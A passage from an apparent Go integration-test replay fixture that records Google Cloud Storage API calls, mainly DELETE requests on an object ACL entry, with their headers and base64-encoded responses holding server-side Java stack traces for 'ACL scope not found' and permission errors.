bW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwMywibWVzc2FnZSI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuIn19" - } - }, - { - "ID": "183157f40c6c1bcd", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:13 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAY=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrC6xxVQeIIjitNwDv5PhDUIBQbtGdHJDi_AmLs8vTbGzkby-5hguMIwI_UeHlCuGF1u5jBoVwCOgSqJBiJJ5fxh8oCzBn-nHGcGAdIOeQt7gTL0RQ" - ] - }, - "Body": "" - } - }, - { - "ID": "4b6b925053570053", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "11631" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:13 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:13 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpiIBwh04pJH1-X9d1oJluF_2ZCJEFLzF4E7SI-easf2noIolxavCbpH7NP9GMmNXnVK_ZJm4kW8coV5ArXDr-Rwodjnd9Bn2hFiJ_puNeWWldJ6mA" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vdCBGb3VuZCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0xfU0NPUEVfTk9UX0ZPVU5EOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1OT1RfRk9VTkQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9bm90Rm91bmQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLk5PVF9GT1VORCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDTF9TQ09QRV9OT1RfRk9VTkQ6IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6ODYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmRlbGV0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5zY29wZSwgbWVzc2FnZT1udWxsLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlX2lkLnNjb3BlLCBtZXNzYWdlPU5vdCBGb3VuZCwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm90IEZvdW5kOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhj